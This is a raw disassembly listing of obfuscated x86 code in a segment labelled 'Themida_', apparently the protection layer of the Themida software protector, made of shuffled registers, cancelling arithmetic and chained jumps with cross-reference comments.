loc_5ABAF9: ; CODE XREF: Themida_:005A5272j
add esp, 4
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5ABB01: ; CODE XREF: Themida_:005A7FBFj
; Themida_:loc_5AAB7Aj
mov esi, [esp]
jmp loc_5A2110
; ---------------------------------------------------------------------------
loc_5ABB09: ; CODE XREF: Themida_:0059BF72j
mov [esp], ecx
jmp loc_5A570E
; ---------------------------------------------------------------------------
loc_5ABB11: ; CODE XREF: Themida_:loc_59C74Dj
jmp loc_5A486B
; ---------------------------------------------------------------------------
loc_5ABB16: ; CODE XREF: Themida_:005A5253j
xor al, 25h
jmp loc_5A6060
; ---------------------------------------------------------------------------
loc_5ABB1D: ; CODE XREF: Themida_:005A3078j
; Themida_:005AD493j
sub esi, 3FA253h
sub eax, 0DEC74BAh
add eax, esi
add eax, 0DEC74BAh
push dword ptr [esp]
jmp loc_5A9435
; ---------------------------------------------------------------------------
loc_5ABB37: ; CODE XREF: Themida_:005A4D34j
pop edx
jmp loc_59B51D
; ---------------------------------------------------------------------------
loc_5ABB3D: ; CODE XREF: Themida_:005A63F5j
and edi, 15FD699Ch
xor edi, 74F571ACh
sub edi, 0F6D12C0h
xor edi, 2104665Fh
jmp loc_5AE327
; ---------------------------------------------------------------------------
loc_5ABB5A: ; CODE XREF: Themida_:005A35C2j
sub ebx, 57A30324h
and ebx, 14355E2Fh
or ebx, 61CB6B7Eh
dec ebx
jmp loc_59EEE5
; ---------------------------------------------------------------------------
loc_5ABB72: ; CODE XREF: Themida_:0059E5EAj
neg ch
push edx
mov dl, ch
jmp loc_5A9D4F
; ---------------------------------------------------------------------------
loc_5ABB7C: ; CODE XREF: Themida_:005A3BF5j
xor dh, ch
pop ecx
mov bl, dh
pop edx
sub bl, 78h
add bl, ah
push dx
mov dh, 78h
sub bl, 7
add bl, dh
jmp loc_5A6550
; ---------------------------------------------------------------------------
loc_5ABB95: ; CODE XREF: Themida_:005A18D6j
mov ecx, 4
add [esp+4], ecx
jmp loc_5A626D
; ---------------------------------------------------------------------------
loc_5ABBA3: ; CODE XREF: Themida_:00599580j
shr byte ptr [esp], cl
pushf
jmp loc_5A937A
; ---------------------------------------------------------------------------
loc_5ABBAC: ; CODE XREF: Themida_:00599124j
; Themida_:005AB44Aj
sub ecx, 31077A65h
add ecx, ebp
add ecx, 31077A65h
jmp loc_59D66A
; ---------------------------------------------------------------------------
loc_5ABBBF: ; CODE XREF: Themida_:0059F63Dj
pop ebp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
mov edx, 36212954h
neg edx
js loc_5A65D9
inc edx
jg loc_5A0A15
add edx, 56D002BBh
push ecx
loc_5ABBEB: ; CODE XREF: Themida_:005A1257j
inc ch
jnp loc_59CF0B
jmp loc_5A3D56
; ---------------------------------------------------------------------------
jmp loc_59C233
; ---------------------------------------------------------------------------
loc_5ABBFD: ; CODE XREF: Themida_:0059CD2Bj
; Themida_:005A2AA9j
mov esi, 5D7F5D71h
push ebp
push eax
push 3CE84A06h
pop eax
neg eax
jnb loc_5A3D92
add eax, 42955775h
mov ebp, eax
jmp loc_5A7EDF
; ---------------------------------------------------------------------------
loc_5ABC1E: ; CODE XREF: Themida_:005AAF2Fj
sub ebp, esi
mov esi, [esp]
add esp, 4
xchg ebp, [esp]
mov esp, [esp]
mov [esp], ebx
mov ebx, 4
sub ebp, 68016A0Ch
sub ebp, 5CA5680Bh
jmp loc_59F340
; ---------------------------------------------------------------------------
loc_5ABC48: ; CODE XREF: Themida_:005A0C7Dj
mov ebp, 5C007630h
sub eax, 0B9E1F28h
sub eax, 0BB93E57h
add eax, ebp
add eax, 0BB93E57h
add eax, 0B9E1F28h
jmp loc_5AF571
; ---------------------------------------------------------------------------
loc_5ABC68: ; CODE XREF: Themida_:0059EB02j
xor esi, 0E7825D5h
mov edx, esi
jmp loc_59F859
; ---------------------------------------------------------------------------
loc_5ABC75: ; CODE XREF: Themida_:005A593Fj
mov [esp], ebx
jmp loc_5994BC
; ---------------------------------------------------------------------------
loc_5ABC7D: ; CODE XREF: Themida_:0059F175j
add esp, 4
add esp, 4
pop dword ptr [esp]
jmp loc_5AB546
; ---------------------------------------------------------------------------
loc_5ABC8B: ; CODE XREF: Themida_:00599B78j
neg cl
and cl, 45h
jns loc_5AE959
jmp loc_5A0EB8
; ---------------------------------------------------------------------------
sub eax, ebx
jmp loc_599835
; ---------------------------------------------------------------------------
push ebx
loc_5ABCA3: ; CODE XREF: Themida_:005A9245j
add esi, 13DA341Fh
push 7386h
mov [esp], ebx
push esp
mov ebx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_59C3C3
; ---------------------------------------------------------------------------
loc_5ABCC6: ; CODE XREF: Themida_:005ADDC7j
mov cx, 6C00h
add cx, 525Eh
add cx, 0FFFFh
not cx
push edi
mov edi, esp
add edi, 4
push eax
mov eax, 390A01EBh
and eax, 17DC5829h
shl eax, 5
neg eax
and eax, 318B3FE2h
sub eax, 108B3ADCh
jmp loc_59E92B
; ---------------------------------------------------------------------------
loc_5ABCFE: ; CODE XREF: Themida_:005A61A1j
mov [esp], edx
jmp loc_5ADB9F
; ---------------------------------------------------------------------------
loc_5ABD06: ; CODE XREF: Themida_:0059EEC5j
add ebp, 2
xchg ebp, [esp]
jmp loc_59D026
; ---------------------------------------------------------------------------
loc_5ABD11: ; CODE XREF: Themida_:005A1CEFj
mov [esp], esi
mov esi, 170A1E07h
add eax, 0F7E7A68h
sub eax, esi
push ecx
mov ecx, 7DEE1956h
or ecx, 78376B4h
add ecx, 8F8EFA72h
add eax, 2E8A5AE4h
sub eax, ecx
jmp loc_5A0B38
; ---------------------------------------------------------------------------
loc_5ABD3E: ; CODE XREF: Themida_:005A630Bj
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5ABD43: ; CODE XREF: Themida_:005AB5F7j
pop esp
jmp loc_5A483A
; ---------------------------------------------------------------------------
loc_5ABD49: ; CODE XREF: Themida_:0059F183j
mov [esp], edx
push 2F48h
mov [esp], esp
jmp loc_5A8B7A
; ---------------------------------------------------------------------------
loc_5ABD59: ; CODE XREF: Themida_:005A257Ej
mov ecx, edx
pop edx
jmp loc_5A07D0
; ---------------------------------------------------------------------------
lodsb
sub esp, 4
mov [esp], ecx
push eax
push ebx
jmp loc_5A7EC8
; ---------------------------------------------------------------------------
loc_5ABD72: ; CODE XREF: Themida_:005A9F1Fj
add ebx, 6A5B14DBh
jmp loc_5A7751
; ---------------------------------------------------------------------------
loc_5ABD7D: ; CODE XREF: Themida_:0059C67Cj
xor cl, 76h
and al, cl
mov ecx, [esp]
add esp, 4
push ebx
jmp loc_5ACB84
; ---------------------------------------------------------------------------
loc_5ABD91: ; CODE XREF: Themida_:005A8F98j
add ebx, esi
jmp loc_5ACA1E
; ---------------------------------------------------------------------------
loc_5ABD98: ; CODE XREF: Themida_:005AD97Aj
not esi
not esi
jmp loc_5A67D4
; ---------------------------------------------------------------------------
loc_5ABDA1: ; CODE XREF: Themida_:005A08D5j
pop ecx
push ecx
push 72860BF7h
mov ecx, [esp]
add esp, 4
jmp loc_5A5A2A
; ---------------------------------------------------------------------------
loc_5ABDB3: ; CODE XREF: Themida_:005A23F0j
push edi
jmp loc_5A8D7A
; ---------------------------------------------------------------------------
loc_5ABDB9: ; CODE XREF: Themida_:00599193j
jmp loc_59B41F
; ---------------------------------------------------------------------------
loc_5ABDBE: ; CODE XREF: Themida_:005AC893j
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
push 57DFh
mov [esp], esi
mov esi, 2A1F0BF6h
push ecx
mov ecx, 551A6F26h
jmp loc_5A79D3
; ---------------------------------------------------------------------------
loc_5ABDDF: ; CODE XREF: Themida_:00599B3Dj
jnp loc_59F041
inc edi
jmp loc_5A7E23
; ---------------------------------------------------------------------------
loc_5ABDEB: ; CODE XREF: Themida_:005A2B6Bj
mov [esp], edx
mov edx, 4
push esi
jmp loc_59AC46
; ---------------------------------------------------------------------------
loc_5ABDF9: ; CODE XREF: Themida_:0059FF84j
push esi
push ebp
jmp loc_5ABAC5
; ---------------------------------------------------------------------------
loc_5ABE00: ; CODE XREF: Themida_:005ACB5Cj
pop eax
jmp loc_5A1926
; ---------------------------------------------------------------------------
loc_5ABE06: ; CODE XREF: Themida_:00599E3Aj
sub [esp], al
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5ABE0F: ; CODE XREF: Themida_:0059F7D4j
mov esi, [esp]
jmp loc_5985C8
; ---------------------------------------------------------------------------
loc_5ABE17: ; CODE XREF: Themida_:005A9D80j
; Themida_:005AA190j
sub eax, edi
pop edi
mov esi, [esp]
add esp, 4
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
mov [esp], esp
push edx
jmp loc_5AB791
; ---------------------------------------------------------------------------
loc_5ABE37: ; CODE XREF: Themida_:005A4721j
push esi
mov esi, 45594DF4h
push edi
mov edi, 1FFF67B2h
xor edi, 5C674848h
jmp loc_5AE0E8
; ---------------------------------------------------------------------------
loc_5ABE4E: ; CODE XREF: Themida_:005A10C1j
add edi, esi
pop esi
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_59DE5D
; ---------------------------------------------------------------------------
loc_5ABE71: ; CODE XREF: Themida_:0059C295j
mov [esp], ebp
mov ebp, 70AE3248h
push edi
mov edi, 0FFFFFFFFh
sub ebp, 3C585722h
add ebp, edi
add ebp, 3C585722h
pop edi
add ebp, 7C12003Ch
jmp loc_5A904D
; ---------------------------------------------------------------------------
loc_5ABE99: ; CODE XREF: Themida_:00599188j
push esi
mov esi, esp
add esi, 4
push edi
mov edi, 6A6A7D3Fh
add edi, 959582C5h
jmp loc_5A9360
; ---------------------------------------------------------------------------
loc_5ABEB3: ; CODE XREF: Themida_:0059D317j
pop ebx
sub al, cl
push edx
mov dl, 0F9h
add dl, 0AEh
sub al, 15h
jmp loc_59B5C4
; ---------------------------------------------------------------------------
loc_5ABEC3: ; CODE XREF: Themida_:005AB79Ej
sub edx, offset byte_4024FE
add ebp, edx
mov edx, [esp]
add esp, 4
push edx
mov edx, 4B7B6DE6h
jmp loc_5996FE
; ---------------------------------------------------------------------------
loc_5ABEDF: ; CODE XREF: Themida_:005995D1j
pop eax
jmp loc_59AFF5
; ---------------------------------------------------------------------------
loc_5ABEE5: ; CODE XREF: Themida_:005AB4A0j
and edi, 2882D0Fh
dec edi
shr edi, 2
shl edi, 3
sub edi, 1F68E810h
sub ebp, edi
jmp loc_5A19E7
; ---------------------------------------------------------------------------
loc_5ABEFF: ; CODE XREF: Themida_:0059A6CCj
shr eax, 7
jmp loc_5988F7
; ---------------------------------------------------------------------------
loc_5ABF07: ; CODE XREF: Themida_:005A7D59j
add edi, 4
jmp loc_5AA878
; ---------------------------------------------------------------------------
loc_5ABF12: ; CODE XREF: Themida_:005A9173j
xor ebp, 735A1F23h
mov ecx, ebp
pop ebp
add ecx, esi
jmp loc_59B125
; ---------------------------------------------------------------------------
loc_5ABF22: ; CODE XREF: Themida_:005A2CF7j
pop edi
sub ebx, esi
push esi
jmp loc_5AE70F
; ---------------------------------------------------------------------------
loc_5ABF2B: ; CODE XREF: Themida_:0059E5A3j
pop ebp
add esp, 4
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
xor ebx, eax
pop dword ptr [eax]
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5ABF4A: ; CODE XREF: Themida_:005A8921j
xor eax, 47AA0CE7h
or eax, 14282CDDh
jp loc_5A495A
sub eax, 0FD8129Eh
jg loc_5A0F8C
xor eax, 1B8A5385h
mov edi, eax
pop eax
shl edi, 1
loc_5ABF6F: ; CODE XREF: Themida_:loc_5A97A0j
shl ah, 3
shl ah, 5
jmp loc_5A8E0B
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
jmp loc_599D7E
; ---------------------------------------------------------------------------
loc_5ABF88: ; CODE XREF: Themida_:005A07C0j
xchg edx, [esp]
pop esp
push ecx
mov ecx, 36BA0E38h
add esi, ecx
jmp loc_5A8F38
; ---------------------------------------------------------------------------
loc_5ABF99: ; CODE XREF: Themida_:0059F2BEj
push ebp
push 1E2Ch
mov [esp], esp
add dword ptr [esp], 4
mov ebp, [esp]
add esp, 4
add ebp, 4
push eax
mov eax, 4
add ebp, 33985F51h
add ebp, eax
jmp loc_5AE0D8
; ---------------------------------------------------------------------------
loc_5ABFCB: ; CODE XREF: Themida_:00598518j
; Themida_:005ADC97j
xor edx, [esp]
pop esp
mov [esp], esi
mov esi, 49AD12D1h
jmp loc_5A855B
; ---------------------------------------------------------------------------
loc_5ABFDC: ; CODE XREF: Themida_:005A138Aj
xchg esi, [esp]
pop esp
jmp loc_59B9CD
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_5A6EB8
; ---------------------------------------------------------------------------
loc_5ABFEE: ; CODE XREF: Themida_:005A843Ej
xor si, 0B194h
mov ax, si
push dword ptr [esp]
jmp loc_5A0783
; ---------------------------------------------------------------------------
loc_5ABFFE: ; CODE XREF: Themida_:0059E865j
push 51D8h
mov [esp], ebp
jmp loc_5A9089
; ---------------------------------------------------------------------------
loc_5AC00B: ; CODE XREF: Themida_:005A3066j
sub ecx, 0E789D579h
add edx, ecx
jmp loc_5A4204
; ---------------------------------------------------------------------------
loc_5AC018: ; CODE XREF: Themida_:0059EEF8j
sub esp, 4
mov [esp], ecx
push small 1C1Bh
mov [esp], bx
mov bh, 42h
push edx
sub esp, 4
mov [esp], ecx
jmp loc_59D36C
; ---------------------------------------------------------------------------
loc_5AC03A: ; CODE XREF: Themida_:0059C326j
mov esi, eax
pop eax
jmp loc_5A2E2C
; ---------------------------------------------------------------------------
loc_5AC042: ; CODE XREF: Themida_:005A65D4j
mov eax, 0C92A7068h
push ebx
mov ebx, 34BA0E74h
neg ebx
and ebx, 1A613638h
shl ebx, 3
inc ebx
jmp loc_5ACA39
; ---------------------------------------------------------------------------
loc_5AC05E: ; CODE XREF: Themida_:0059840Aj
sub ebx, 29380598h
push esi
mov esi, 7907738Ch
add ebx, esi
pop esi
add ebx, esi
jmp loc_5AC8DF
; ---------------------------------------------------------------------------
loc_5AC074: ; CODE XREF: Themida_:005A3182j
push edx
pop ebx
pop edx
add edx, ebx
pop ebx
xor edx, [esp]
jmp loc_5A1765
; ---------------------------------------------------------------------------
loc_5AC082: ; CODE XREF: Themida_:005A9AA0j
mov esi, esp
jmp loc_5A89A4
; ---------------------------------------------------------------------------
loc_5AC089: ; CODE XREF: Themida_:0059843Dj
add eax, 3B441546h
pop esi
jmp loc_5A007C
; ---------------------------------------------------------------------------
loc_5AC094: ; CODE XREF: Themida_:00598A17j
pop ebx
pop ecx
jmp loc_5A5B47
; ---------------------------------------------------------------------------
loc_5AC09B: ; CODE XREF: Themida_:0059B8C5j
mov ecx, 595D2EF9h
or ebp, ecx
pop ecx
sub ebp, 1FF4627Eh
jmp loc_5A63B5
; ---------------------------------------------------------------------------
loc_5AC0AE: ; CODE XREF: Themida_:0059F1C6j
push dword ptr [esp]
jmp loc_5A3C7D
; ---------------------------------------------------------------------------
loc_5AC0B6: ; CODE XREF: Themida_:005A1AC1j
add edx, eax
pop eax
jmp loc_59CEA7
; ---------------------------------------------------------------------------
loc_5AC0BE: ; CODE XREF: Themida_:00598E79j
add esp, 4
xor dl, 0ACh
jmp loc_59A28D
; ---------------------------------------------------------------------------
loc_5AC0C9: ; CODE XREF: Themida_:0059BE4Aj
add edi, 6B776DF9h
add ebp, edi
pop edi
jmp loc_5AE2ED
; ---------------------------------------------------------------------------
loc_5AC0D7: ; CODE XREF: Themida_:00598D53j
mov [esp], ecx
mov ecx, esp
push edi
mov edi, 4
jmp loc_59945F
; ---------------------------------------------------------------------------
loc_5AC0E7: ; CODE XREF: Themida_:0059B0D0j
sub esi, 69207AA1h
xor ebx, esi
jmp loc_5A1040
; ---------------------------------------------------------------------------
loc_5AC0F4: ; CODE XREF: Themida_:005998A5j
shl ah, 7
jmp loc_5A6D4B
; ---------------------------------------------------------------------------
loc_5AC0FC: ; CODE XREF: Themida_:005A5EFAj
sub bl, dh
add bl, 0F3h
jmp loc_5A99F9
; ---------------------------------------------------------------------------
loc_5AC106: ; CODE XREF: Themida_:0059BA1Aj
mov ecx, esp
add ecx, 4
add ecx, 4
push ecx
jmp loc_59BB1F
; ---------------------------------------------------------------------------
loc_5AC117: ; CODE XREF: Themida_:005ACF30j
xchg edi, [esp]
mov esp, [esp]
mov [esp], ebp
jmp loc_5A3879
; ---------------------------------------------------------------------------
loc_5AC125: ; CODE XREF: Themida_:005A2675j
or esi, 1F694CE8h
shl esi, 6
add esi, 194E3439h
sub ecx, esi
pop esi
jmp loc_5AD310
; ---------------------------------------------------------------------------
loc_5AC13C: ; CODE XREF: Themida_:005AA00Fj
mov edx, 71376302h
dec edx
shr edx, 2
inc edx
jmp loc_5AEA9E
; ---------------------------------------------------------------------------
loc_5AC14B: ; CODE XREF: Themida_:loc_5A3F60j
xor eax, 384D5E7Eh
mov ecx, eax
pop eax
push edi
mov edi, 29554CB9h
add edi, 0FFFFFFFFh
shr edi, 7
shl edi, 1
sub edi, 0A378561Eh
add ecx, edi
pop edi
jmp loc_5A070E
; ---------------------------------------------------------------------------
loc_5AC16F: ; CODE XREF: Themida_:005ADC2Aj
pop esi
xchg eax, [esp]
mov esp, [esp]
pop ebp
push ecx
push edx
mov edx, esp
jmp loc_59F6D5
; ---------------------------------------------------------------------------
loc_5AC180: ; CODE XREF: Themida_:005AA3D3j
push esp
pop edx
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push eax
jmp loc_5A6B85
; ---------------------------------------------------------------------------
loc_5AC195: ; CODE XREF: Themida_:0059AB16j
inc esi
sub esi, 0E004D94Ah
add edi, esi
pop esi
push dword ptr [esp]
pop ebp
add esp, 4
add edi, 4
jmp loc_59FB43
; ---------------------------------------------------------------------------
loc_5AC1B1: ; CODE XREF: Themida_:00598906j
; Themida_:0059BF2Dj
mov edx, 0CC392AB7h
add ebp, edx
pop edx
xor ebx, ebp
pop ebp
push ebx
jmp loc_5AC61C
; ---------------------------------------------------------------------------
loc_5AC1C2: ; CODE XREF: Themida_:005ACFB5j
sub esi, 9D93421h
jmp loc_5AA775
; ---------------------------------------------------------------------------
loc_5AC1CD: ; CODE XREF: Themida_:0059A3AAj
inc ebp
sub ebp, 0A64CA938h
xor edx, ebp
pop ebp
add ebp, edx
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], ecx
push 4
mov ecx, [esp]
push ecx
jmp loc_5AEFAF
; ---------------------------------------------------------------------------
loc_5AC1F3: ; CODE XREF: Themida_:005ACA98j
push 460D33D0h
jmp loc_5AD411
; ---------------------------------------------------------------------------
loc_5AC1FD: ; CODE XREF: Themida_:005A1C2Fj
shl ebp, 2
inc ebp
shl ebp, 2
jmp loc_5A4D27
; ---------------------------------------------------------------------------
loc_5AC209: ; CODE XREF: Themida_:0059CF95j
pop esp
mov [esp], edi
push ecx
pop edi
mov ecx, [esp]
push eax
mov eax, esp
jmp loc_5A0FF4
; ---------------------------------------------------------------------------
loc_5AC21A: ; CODE XREF: Themida_:005A7057j
pop edi
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
mov [esp], edx
push eax
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AC22F: ; CODE XREF: Themida_:005A0C53j
push eax
mov eax, esp
add eax, 4
push ecx
push 3D7A12C3h
jmp loc_5A6151
; ---------------------------------------------------------------------------
loc_5AC242: ; CODE XREF: Themida_:005A5E0Ej
jmp loc_5AD92A
; ---------------------------------------------------------------------------
loc_5AC247: ; CODE XREF: Themida_:0059C0F1j
push dword ptr [esp+4]
jmp loc_5A5170
; ---------------------------------------------------------------------------
loc_5AC250: ; CODE XREF: Themida_:005AF136j
push eax
push 371F187Fh
mov eax, [esp]
add esp, 4
sub eax, 7F25F78h
jg loc_5AAF7D
jmp loc_5AEAF5
; ---------------------------------------------------------------------------
pop eax
jmp loc_59B25D
; ---------------------------------------------------------------------------
mov cl, ah
loc_5AC277: ; CODE XREF: Themida_:0059B09Aj
pop eax
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
jmp loc_5AF1FD
; ---------------------------------------------------------------------------
loc_5AC287: ; CODE XREF: Themida_:005A10E6j
push edx
mov edx, 2EA5344Bh
push edx
not dword ptr [esp]
pop edx
sub edx, 0FFFFFFFFh
add edx, 72D7CE8h
push ebx
jmp loc_59F541
; ---------------------------------------------------------------------------
loc_5AC2A4: ; CODE XREF: Themida_:0059EE65j
jnp loc_5AC66C
jmp loc_5A0A05
; ---------------------------------------------------------------------------
loc_5AC2AF: ; CODE XREF: Themida_:0059A888j
; Themida_:005ACF96j
pop ecx
jmp loc_5ADB6C
; ---------------------------------------------------------------------------
loc_5AC2B5: ; CODE XREF: Themida_:00599EA6j
and eax, ebp
push dword ptr [esp]
pop ebp
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ecx
mov ecx, esp
add ecx, 4
sub esp, 4
jmp loc_5A4241
; ---------------------------------------------------------------------------
loc_5AC2E2: ; CODE XREF: Themida_:005A6CE9j
sub ebx, ecx
pop ecx
pop esi
jmp loc_59AF6A
; ---------------------------------------------------------------------------
loc_5AC2EB: ; CODE XREF: Themida_:005AF070j
popa
jmp loc_5A27C8
; ---------------------------------------------------------------------------
loc_5AC2F1: ; CODE XREF: Themida_:0059983Aj
mov [esp], ebp
jmp loc_5A59F1
; ---------------------------------------------------------------------------
loc_5AC2F9: ; CODE XREF: Themida_:005A3A9Dj
push edx
mov dl, 27h
xor dl, 0CDh
push ecx
jmp loc_5A6459
; ---------------------------------------------------------------------------
loc_5AC305: ; CODE XREF: Themida_:0059D53Dj
jnp loc_5A464E
add edi, 8B3F063Ah
mov ebx, edi
pop edi
sub ebx, 0DE47EF5Ch
jmp loc_59B5CD
; ---------------------------------------------------------------------------
loc_5AC31F: ; CODE XREF: Themida_:0059B661j
inc eax
not eax
jmp loc_59B08B
; ---------------------------------------------------------------------------
loc_5AC327: ; CODE XREF: Themida_:0059BB48j
xor edx, 50F478D0h
jge loc_5AB394
jmp loc_5A2E06
; ---------------------------------------------------------------------------
push bx
mov bh, 53h
or al, 2Ch
loc_5AC33E: ; CODE XREF: Themida_:005A7587j
xor edi, 20763594h
sub edi, 0C024417h
sub ebp, edi
mov edi, [esp]
jmp loc_59A587
; ---------------------------------------------------------------------------
loc_5AC354: ; CODE XREF: Themida_:0059D10Bj
mov [esp], ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
mov [esp], eax
mov eax, 380A7D07h
push ebx
mov ebx, 58127DB7h
xor eax, ebx
mov ebx, [esp]
jmp loc_5A5E9D
; ---------------------------------------------------------------------------
loc_5AC380: ; CODE XREF: Themida_:005A217Fj
add esp, 4
sub esp, 4
mov [esp], ebx
mov ebx, esi
push ebx
xor dword ptr [esp], 7C707050h
pop eax
xor eax, 7C707050h
mov ebx, [esp]
jmp loc_5AA286
; ---------------------------------------------------------------------------
loc_5AC3A4: ; CODE XREF: Themida_:005A00B5j
add ecx, edi
add ecx, 59FF4778h
sub ecx, 1511053Dh
push edx
push ebp
mov ebp, 1F550FCBh
jmp loc_5A4DCB
; ---------------------------------------------------------------------------
loc_5AC3BE: ; CODE XREF: Themida_:005AD367j
add esp, 4
xchg edx, esi
jmp loc_5A740F
; ---------------------------------------------------------------------------
loc_5AC3C8: ; CODE XREF: Themida_:005ADCE0j
pop ecx
sub esp, 4
mov [esp], ebx
push edx
mov dh, ah
mov bl, dh
jmp loc_599DC3
; ---------------------------------------------------------------------------
loc_5AC3DC: ; CODE XREF: Themida_:005AB1A2j
shl edi, 2
jmp loc_5A97F8
; ---------------------------------------------------------------------------
loc_5AC3E4: ; CODE XREF: Themida_:005A7A48j
add ebx, 4
jmp loc_5A1745
; ---------------------------------------------------------------------------
push eax
mov eax, 4
add [esp+4], eax
pop eax
pop esi
add esi, 4
push 491h
mov [esp], eax
jmp loc_599F29
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push 65A5h
jmp loc_5A2DDB
; ---------------------------------------------------------------------------
loc_5AC41B: ; CODE XREF: Themida_:0059F9A6j
add dword ptr [esp], 11700B53h
sub [esp], eax
sub dword ptr [esp], 11700B53h
pop eax
sub eax, 54DBB17Ah
add ebx, eax
pop eax
mov edi, [esp]
add esp, 4
push 1ABFh
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
ror word ptr [esp], cl
pushf
jmp loc_59A88D
; ---------------------------------------------------------------------------
loc_5AC45B: ; CODE XREF: Themida_:005A0FEFj
movzx cx, al
push cx
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AC467: ; CODE XREF: Themida_:005A4319j
pop edx
jmp loc_59C73C
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push 3662h
mov [esp], edx
mov edx, 2AA34E7Bh
shl edx, 7
jnp loc_59E665
jmp loc_5A4C1C
; ---------------------------------------------------------------------------
xor [esp], ecx
xor ecx, [esp]
pop esp
pop ebp
loc_5AC493: ; CODE XREF: Themida_:005AC84Aj
xor ebx, [esp]
mov esp, [esp]
jmp loc_5A6307
; ---------------------------------------------------------------------------
loc_5AC49E: ; CODE XREF: Themida_:005A0622j
pop ebp
add esp, 4
shl eax, cl
jmp loc_59880D
; ---------------------------------------------------------------------------
loc_5AC4AC: ; CODE XREF: Themida_:0059C84Bj
mov [esp], ecx
push ebx
mov ebx, 1CF4542Eh
mov ecx, 61B141DAh
not ecx
dec ecx
jnz loc_5AEF71
and ecx, 4355281Dh
jp loc_5AAC15
shr ecx, 4
loc_5AC4D2: ; CODE XREF: Themida_:005A3865j
add ebx, eax
sub esp, 4
mov [esp], ebp
mov ebp, 54A66399h
sub ebx, ebp
pop ebp
pop eax
push eax
jmp loc_59ECDC
; ---------------------------------------------------------------------------
loc_5AC4EC: ; CODE XREF: Themida_:0059F891j
pop ebx
jmp loc_5AB56C
; ---------------------------------------------------------------------------
loc_5AC4F2: ; CODE XREF: Themida_:005AD1DBj
sub ebx, ecx
pop ecx
xchg ebx, [esp]
pop esp
mov [esp], ebx
push ecx
mov ecx, 2D546D90h
push esi
mov esi, 47A17FB7h
sub esi, 7F3312AFh
ja loc_5A0C9F
sub esi, 8E85FFE9h
mov ebx, esi
pop esi
jmp loc_5A8001
; ---------------------------------------------------------------------------
loc_5AC522: ; CODE XREF: Themida_:005A1EBFj
mov [esp], edi
push ebx
mov ebx, 4
jmp loc_5A3A78
; ---------------------------------------------------------------------------
loc_5AC530: ; CODE XREF: Themida_:00598BC0j
dec ah
not ah
sub ah, 0DFh
jmp loc_5A7E80
; ---------------------------------------------------------------------------
loc_5AC53C: ; CODE XREF: Themida_:005A58FDj
xchg eax, [esp]
pop esp
push 3EA7h
mov [esp], ebx
mov ebx, 17564F4Ch
push ebp
mov ebp, 4540E38h
sub ebp, 52B3616Dh
not ebp
sub ebp, 49921A6Ah
sub eax, ebp
jmp loc_59F03B
; ---------------------------------------------------------------------------
loc_5AC568: ; CODE XREF: Themida_:005AEDEBj
xchg edx, [esp]
pop esp
xor al, dh
pop edx
push ecx
mov cl, 2Eh
add cl, 0FFh
sub bl, cl
pop ecx
push ecx
push eax
push ecx
mov cl, 62h
mov al, cl
pop ecx
sub esp, 4
jmp loc_5A3BAD
; ---------------------------------------------------------------------------
loc_5AC588: ; CODE XREF: Themida_:0059B3F1j
; Themida_:0059DF53j
mov [esp], ax
push 375Ah
mov [esp], edx
mov dh, 73h
sub dh, 0FFh
xor dh, 62h
jmp loc_59A5B2
; ---------------------------------------------------------------------------
loc_5AC5A1: ; CODE XREF: Themida_:005ACE82j
sub edx, 4
xchg edx, [esp]
pop esp
jmp loc_5994D5
; ---------------------------------------------------------------------------
loc_5AC5AD: ; CODE XREF: Themida_:005AA70Aj
mov eax, [esp]
add esp, 4
add ebx, 3CC5561h
add ebx, esi
sub ebx, 3CC5561h
mov esi, [esp]
add esp, 4
sub ebx, 4
jmp loc_5A7FE8
; ---------------------------------------------------------------------------
loc_5AC5D2: ; CODE XREF: Themida_:loc_5A524Dj
jmp loc_5A93F7
; ---------------------------------------------------------------------------
loc_5AC5D7: ; CODE XREF: Themida_:0059CEBCj
mov esi, [esp]
add esp, 4
push dword ptr [esp]
pop edx
jmp loc_598FE4
; ---------------------------------------------------------------------------
loc_5AC5E6: ; CODE XREF: Themida_:005AD08Aj
xor ebx, eax
push dword ptr [eax]
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AC5EF: ; CODE XREF: Themida_:005ACCD0j
sub eax, 6B9E7975h
mov edi, [esp]
add esp, 4
jmp loc_5AB190
; ---------------------------------------------------------------------------
loc_5AC602: ; CODE XREF: Themida_:005A622Fj
mov [esp], edx
push esp
jmp loc_5A5D8D
; ---------------------------------------------------------------------------
loc_5AC60B: ; CODE XREF: Themida_:0059C0B6j
; Themida_:loc_5A6347j
sub esi, ebx
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_59E90C
; ---------------------------------------------------------------------------
loc_5AC61C: ; CODE XREF: Themida_:005AC1BDj
pop ebp
jmp loc_5A018F
; ---------------------------------------------------------------------------
loc_5AC622: ; CODE XREF: Themida_:005A4C17j
mov eax, [esp]
push ebx
push 1D0Dh
mov [esp], esp
add dword ptr [esp], 4
mov ebx, [esp]
add esp, 4
add ebx, 4
add ebx, 4
jmp loc_5AE5C6
; ---------------------------------------------------------------------------
loc_5AC64C: ; CODE XREF: Themida_:005A67EAj
mov bl, al
pop eax
